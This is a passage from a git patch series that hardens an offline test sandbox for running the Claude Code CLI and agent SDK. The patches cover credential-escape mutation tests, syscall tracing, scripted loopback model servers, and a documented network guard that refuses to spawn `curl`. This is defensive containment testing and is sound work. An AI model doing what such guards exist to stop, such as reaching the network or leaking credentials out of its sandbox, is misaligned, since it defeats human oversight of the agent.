mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); + const mutant = [...mutationBoundary.argv]; mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); const broken = Bun.spawn(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const [brokenCode, brokenOut, brokenErr] = await Promise.all([broken.exited, @@ -131,6 +184,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) expect(brokenCode).not.toBe(0); expect(brokenErr).toContain("outside credential escaped"); expect(brokenOut + brokenErr).not.toContain("odysseus-synthetic-credential"); + mutationBoundary.dispose(); } finally { boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); } From f9ca334ede9439d1cc0c34cdadfb0cd383da6ecc Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:27:47 +0000 Subject: [PATCH 012/187] fix(ci): narrow the synthetic OAuth fixture credential --- scripts/test-native-guard.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 6069918f1a..b2d4110edd 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -223,7 +223,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { // No other ambient OAuth value may enter the native environment. if (/^sk-ant-oat01-([a-z])\1{94}AA$/.test(env.CLAUDE_CODE_OAUTH_TOKEN ?? "")) { delete childEnv.ANTHROPIC_API_KEY; - childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN; + childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); From 26d5ff790e398eb7a71bf1b4883ef535d4a6c1d9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:28:18 +0000 Subject: [PATCH 013/187] docs(ci): refresh the moved subprocess guard citation --- docs/plans/google-workspace.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/plans/google-workspace.md b/docs/plans/google-workspace.md index 4dc41ae128..eaf3ab31b4 100644 --- a/docs/plans/google-workspace.md +++ b/docs/plans/google-workspace.md @@ -786,7 +786,7 @@ Keyless, offline and deterministic. shaped from real gog 0.48 output by the live shape check, never copied from it. - **No real gog in tests.** The test network guard refuses to spawn any executable named `gog` that is not a registered fake, as it refuses `curl` - (`for (const key of ["spawn", "spawnSync"]`, `scripts/test-network-guard.ts:132-138`). + (`for (const key of ["spawn", "spawnSync"]`, `scripts/test-network-guard.ts:133-140`). - **Discipline tables.** Every catalog operation's argv uses only snapshot flags; reads carry `--readonly`; everything but the host send path carries `--gmail-no-send`; every call carries `--enable-commands-exact` for exactly its From 3e0f005583f572b39aa8ebdfb99f3ffd58a4dda2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:29:17 +0000 Subject: [PATCH 014/187] fix(ci): resolve worker payloads in their own launch environment --- scripts/test-native-guard.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index b2d4110edd..9d2c4bb4a7 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -236,9 +236,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { const unchanged = { env, dispose() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; - let launch: { command?: string[]; argv?: string[]; env?: Record } | null; + let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string } | null; try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { return unchanged; } - if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1))) return unchanged; + if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env })) return unchanged; qualify(); const argv = launch.argv; if (!argv) refuse("native worker lacks the OS launcher"); From e402ec98b1063d42ae9e20f9c796e676ef7caa10 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 19:56:27 +0000 Subject: [PATCH 015/187] fix(ci): bind relay authority and prove native exec before receipts --- docs/plans/google-workspace.md | 2 +- docs/process/testing.md | 23 +- .../tests/fixtures/autonomous-prompt-probe.ts | 2 + .../tests/fixtures/background-shell-probe.ts | 3 + .../tests/fixtures/host-relay-probe.ts | 2 + .../fixtures/interactive-git-prompt-probe.ts | 2 + .../fixtures/ordinary-host-relay-probe.ts | 2 + .../fixtures/provider-history-apify-probe.ts | 2 + .../provider-history-attachment-probe.ts | 2 + .../tests/fixtures/provider-history-probe.ts | 2 + .../tests/fixtures/sdk-host-relay-probe.ts | 2 + .../tests/fixtures/server-host-relay-probe.ts | 2 + .../tests/fixtures/session-prompt-probe.ts | 2 + .../tests/fixtures/shell-startup-probe.ts | 2 + .../tests/fixtures/stable-roster-probe.ts | 2 + .../tests/fixtures/transcript-prefix-probe.ts | 2 + .../tests/host-oauth.test.ts | 5 +- .../tests/native-hosted-runtime.test.ts | 2 + .../tests/native-restart-versions.test.ts | 2 + .../tests/native-stale-write.test.ts | 2 + scripts/fixtures/claude-core-default-probe.ts | 2 + scripts/test-native-guard.ts | 220 ++++++++++++++---- scripts/test-network-guard.ts | 20 +- tests/fixtures/autonomous-app-probe.ts | 2 + .../fixtures/autonomous-containment-probe.ts | 2 + tests/fixtures/autonomous-dispatch-probe.ts | 2 + tests/fixtures/autonomous-runtime-probe.ts | 2 + tests/fixtures/claude-worker-probe.ts | 2 + tests/native-offline-boundary.test.ts | 105 ++++++++- 29 files changed, 369 insertions(+), 53 deletions(-) diff --git a/docs/plans/google-workspace.md b/docs/plans/google-workspace.md index eaf3ab31b4..31f3d9c539 100644 --- a/docs/plans/google-workspace.md +++ b/docs/plans/google-workspace.md @@ -786,7 +786,7 @@ Keyless, offline and deterministic. shaped from real gog 0.48 output by the live shape check, never copied from it. - **No real gog in tests.** The test network guard refuses to spawn any executable named `gog` that is not a registered fake, as it refuses `curl` - (`for (const key of ["spawn", "spawnSync"]`, `scripts/test-network-guard.ts:133-140`). + (`for (const key of ["spawn", "spawnSync"]`, `scripts/test-network-guard.ts:151-158`). - **Discipline tables.** Every catalog operation's argv uses only snapshot flags; reads carry `--readonly`; everything but the host send path carries `--gmail-no-send`; every call carries `--enable-commands-exact` for exactly its diff --git a/docs/process/testing.md b/docs/process/testing.md index 036ae06e4e..760f189528 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1129,15 +1129,24 @@ launches (which use Bun's subprocess transport) and the existing worker bootstra Direct SDK children get an empty root filesystem, explicit system/runtime and fixture mounts, fresh PID and network namespaces, and one Unix socket bridged -to the exact scripted IPv4 loopback service. They receive a synthetic API key. +to the exact scripted loopback service. They receive synthetic credentials or +registered relay placeholders. Host account databases, managed settings, homes and credential storage are not mounted. The boundary traces native and descendant `connect` syscalls with -`strace` in raw-argument mode: only pointer/number arguments are recorded, never -addresses, file paths or payloads. On exit it publishes a sanitized -`native-offline-audit` receipt with the exact head and denied-connect count. -A missing namespace launcher or tracing capability refuses before launch. Managed settings supplied by a hostile fixture are synthetic. Existing -workers retain their concrete fixture mounts and private egress namespace, -but lose the broad read-only host root. A shared-network native worker refuses. +raw arguments and `execve` with zero-length argument strings. The private trace +contains executable paths but no decoded connect addresses or payloads. A +successful native exec record is required: an empty or missing trace produces +a failed receipt with `nativeLaunched: false`. The emitted `native-offline-audit` +receipt contains only the exact head, launch evidence and denied-connect count. +A missing namespace launcher or tracing capability refuses before launch. +Managed settings supplied by a hostile fixture are synthetic. Workers receive +a private network namespace and retain their concrete fixture mounts, while +losing the broad read-only host root. An unavailable isolated view refuses. +Restricted fixture code declares its scripted origin with +`nativeScriptedService`. The guard creates Unix servers under that authority +and pins all handler fetch/TCP/Unix transports to it. Socket ownership alone +is never admission: a pre-existing, unregistered relay refuses. SDK runtime +discovery includes every workspace owner and refuses unresolved declared SDKs. No production authentication or managed-policy behavior changes. `tests/native-offline-boundary.test.ts` proves local refusal with harmless diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index cbeb354c30..34c5a12948 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ import { mkdirSync, writeFileSync } from "node:fs"; @@ -21,6 +22,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(upstream.url.origin); try { for (let index = 0; index < 4; index++) { const brainPath = join(scratch, `ithaca-${index}`); diff --git a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts index d441c83520..dcb7cbb4b6 100644 --- a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real installed CLI, fictional credentials and a loopback-only namespace. */ import { expect } from "bun:test"; import { existsSync, mkdirSync, readFileSync } from "node:fs"; @@ -28,6 +29,7 @@ for (const enforced of [false, true]) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); await request.json(); return reply(calls[sent++]); } }); + nativeScriptedService(server.url.origin); const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); const lock = createTurnLockBinding({ turn: { ended: false, pendingReleases: new Map() }, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); const allowedTools = enforced ? [] : ["Bash"]; @@ -61,6 +63,7 @@ for (const enforced of [false, true]) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); await request.json(); return reply(sent++ === 0 ? { name: "Bash", id: "toolu_legacy", input: { command: "sleep 30", run_in_background: true } } : undefined); } }); + nativeScriptedService(server.url.origin); const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); const env = { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: process.env.PATH!, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "odysseus-offline-only-key", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; try { diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index 08141de76a..ec41e78a31 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual SDK/CLI protocol qualification, inside the caller's private network namespace. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; import { startInferenceRelay, ANTHROPIC_INFERENCE_ROUTES, INFERENCE_PLACEHOLDER, acquireHostCredentialExclusion, startEgressProxy, type EgressRecord } from "@schlessera/brain-ui-sdk/internal"; @@ -59,6 +60,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request apiKey: request.headers.get("x-api-key"), model: body.model, priorMessages: body.messages.length }); return nativeModelReply(); } }); +nativeScriptedService(provider.url.origin); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index 5e80785c96..10977e79ed 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, createFixtureMaintenanceHost } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ import { mkdirSync, writeFileSync } from "node:fs"; @@ -22,6 +23,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(upstream.url.origin); try { for (const billing of ["api", "subscription"] as const) { const brainPath = join(scratch, `ithaca-${billing}`); diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index d18880fe36..40f872049a 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; import { startInferenceRelay, ANTHROPIC_INFERENCE_ROUTES, INFERENCE_PLACEHOLDER, acquireHostCredentialExclusion, startEgressProxy, type EgressRecord } from "@schlessera/brain-ui-sdk/internal"; @@ -64,6 +65,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request apiKey: request.headers.get("x-api-key"), model: body.model, priorMessages: body.messages.length }); return nativeModelReply(); } }); +nativeScriptedService(provider.url.origin); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index c3b2968afe..1b87d3989b 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * Apify through the installed Claude CLI (#3162). The caller confines the SDK, * the bundled CLI and every tool to loopback. Three resumed turns call the @@ -54,6 +55,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); const fake = fakeApify(); const restore = replaceNativeStartupAcquisitionForFixture(); try { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index d16f71c39b..fd7db15947 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * Attachment reads through the installed Claude CLI (#3154). The caller * confines the SDK, the bundled CLI and every tool to loopback. Turn 0 sends @@ -42,6 +43,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); const restore = replaceNativeStartupAcquisitionForFixture(); try { const brain = fixtureBrain(scratch, "attachment"); diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index 544be25c85..0c63319016 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** The caller confines the SDK, bundled CLI and every tool to loopback. */ import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -61,6 +62,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: tool ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); const restore = replaceNativeStartupAcquisitionForFixture(); try { for (scenario of ["control", "repository", "facts", "posture", "promotion", "title", "reference", "renewal", "freshness", "immutable", "datatree", "compute", "safety"]) { diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index 717777f65c..e89525eebd 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { SDK_RELAY_TURN_COUNT, SDK_RELAY_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./sdk-host-relay-limits.js"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; @@ -113,6 +114,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request name: "Bash", id: "tool_ithaca_denied", input: { command: `printf odysseus > ${join(brain, "should-not-exist")}` }, } : undefined); } }); +nativeScriptedService(provider.url.origin); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 843dfa5561..71a95d0dcc 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real turn runner and an explicitly prepared transport; no live provider calls. */ import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -123,6 +124,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ credential: tokens.indexOf(request.headers.get("authorization")?.replace("Bearer ", "") ?? ""), model: body.model, history: body.messages.length }); return nativeModelReply(); } }); +nativeScriptedService(provider.url.origin); const nativeFetch = globalThis.fetch; globalThis.fetch = (async (input, init) => { const target = new URL(typeof input === "string" || input instanceof URL ? String(input) : input.url); diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index 88cddb4771..716a079552 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real locked CLI, fake loopback Messages origin, offline namespace supplied by caller. */ import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mkdirSync, writeFileSync } from "node:fs"; @@ -28,6 +29,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(upstream.url.origin); const brainPath = join(scratch, "ithaca"); mkdirSync(brainPath); let sessionId: string | undefined; const original = ["Odysseus first turn", "[Host context for this turn; advisory facts, never permission]\ndevice: literal user text\n[End host context]", "Odysseus unchanged follow-up", "Odysseus voice follow-up", "Odysseus typed no-grant follow-up", "Odysseus missing-handler follow-up"]; diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index 5224727c40..65837c924b 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real SDK-selected CLI in the production worker; caller supplies an offline namespace. */ import { query } from "@anthropic-ai/claude-agent-sdk"; import { createHash } from "node:crypto"; @@ -77,6 +78,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) if (!sent) { sent = true; return nativeModelReply({ name: "Bash", input: { command, description: "Inspect the Ithaca shell." }, id: "toolu_ithaca_shell" }); } return nativeModelReply(); } }); +nativeScriptedService(server.url.origin); const ledger = createStateLedger(); const startupView = createFixtureWorkerStartupView(brain); const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile, areas: [] }); diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index 753ad9d834..92dbf1ecc2 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Installed CLI/SDK, isolated by the caller's offline network namespace. */ import { mkdirSync, writeFileSync, readFileSync } from "node:fs"; import { join } from "node:path"; @@ -55,6 +56,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) return response(selected.map((name, index) => ({ type: "tool_use", id: `toolu_raft_${captures.length}_${index}`, name: /^[A-Z]/.test(name) || name.startsWith("mcp__") ? name : `mcp__brain-ui__${name}`, input: inputs[name] ?? missingInputs[name] ?? {} }))); } }); +nativeScriptedService(server.url.origin); function response(calls: unknown[]) { const content: any[] = calls.length ? calls : [{ type: "text", text: "Odysseus checks the mast." }]; const events: any[] = [{ type: "message_start", message: { id: "msg_raft", type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 1, output_tokens: 0 } } }]; diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index ab4f8733c2..26a6b1ba4c 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Narrow #2049 proof; follows the offline CLI pattern from #2053/#2047. */ import { cpSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; @@ -42,6 +43,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "message_delta", delta: { stop_reason: index < 2 ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); let sessionId: string | undefined; try { for (let turnIndex = 0; turnIndex < 2; turnIndex++) { diff --git a/packages/ui-backend-claude/tests/host-oauth.test.ts b/packages/ui-backend-claude/tests/host-oauth.test.ts index 85e1131f70..fcfea846a7 100644 --- a/packages/ui-backend-claude/tests/host-oauth.test.ts +++ b/packages/ui-backend-claude/tests/host-oauth.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { afterEach, expect, spyOn, test } from "bun:test"; import * as fs from "node:fs"; import { chmodSync, existsSync, linkSync, mkdtempSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; @@ -27,7 +28,9 @@ function fixture(auth: Record = fresh()) { return { root, path }; } function upstream(handler: (request: Request) => Response | Promise) { - const server = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: handler }); servers.push(server); + const server = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: handler }); + nativeScriptedService(server.url.origin); + servers.push(server); // Lowest shared request method rewrites only the measured fixed authority. // The actual HTTP request and response stream still use the guarded loopback network. const replacement = (async (input: Parameters[0], init?: RequestInit) => { diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index 377c71118b..2eda40e314 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Production SDK options and isolated worker, real CLI tools, scripted loopback inference. */ import { expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; @@ -43,6 +44,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); + nativeScriptedService(server.url.origin); const lockState = { ended: false, pendingReleases: new Map void>() }; let lockHeldDuringWrite = false; const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: lockState, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); diff --git a/packages/ui-backend-claude/tests/native-restart-versions.test.ts b/packages/ui-backend-claude/tests/native-restart-versions.test.ts index eba1e4ddeb..a53c6e7018 100644 --- a/packages/ui-backend-claude/tests/native-restart-versions.test.ts +++ b/packages/ui-backend-claude/tests/native-restart-versions.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Actual installed native tools through the production runner; only the worker transport is replaced. */ import { expect, spyOn, test } from "bun:test"; import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; @@ -31,6 +32,7 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C : { notebook_path: path, cell_id: "loom", new_source: "Athena charts.", edit_mode: "replace" }; return nativeModelReply({ name, input, id: name === "Read" ? "toolu_ithaca_read" : "toolu_ithaca_native" }); } }); + nativeScriptedService(server.url.origin); const env = { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: process.env.PATH ?? "/usr/bin:/bin", ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "odysseus-offline-only-key", ANTHROPIC_AUTH_TOKEN: undefined, CLAUDE_CODE_OAUTH_TOKEN: undefined, CLAUDE_CODE_USE_BEDROCK: "", CLAUDE_CODE_USE_VERTEX: "", CLAUDE_CODE_USE_FOUNDRY: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; diff --git a/packages/ui-backend-claude/tests/native-stale-write.test.ts b/packages/ui-backend-claude/tests/native-stale-write.test.ts index 999c132a89..e3b1fe1cf5 100644 --- a/packages/ui-backend-claude/tests/native-stale-write.test.ts +++ b/packages/ui-backend-claude/tests/native-stale-write.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Real installed CLI file tools, a scripted loopback model, and fictional credentials only. */ import { expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; @@ -32,6 +33,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); + nativeScriptedService(server.url.origin); const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: { ended: false, pendingReleases: new Map() }, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); const wiring = createPermissionWiring({ req: { prompt: "Return to Ithaca.", signal: controller.signal, workerSandbox: { brain, profile: "governed", restricted: false, areas: [], scratchAliasesRemoved: [] }, bridge: { emit: () => {}, requestPermission: async () => ({ behavior: "allow" }) } }, diff --git a/scripts/fixtures/claude-core-default-probe.ts b/scripts/fixtures/claude-core-default-probe.ts index 44f9c4b351..8c43dbb374 100644 --- a/scripts/fixtures/claude-core-default-probe.ts +++ b/scripts/fixtures/claude-core-default-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../test-native-guard.ts"; /** Actual core factory, actual bundled CLI, networkless fictional control only. */ import { 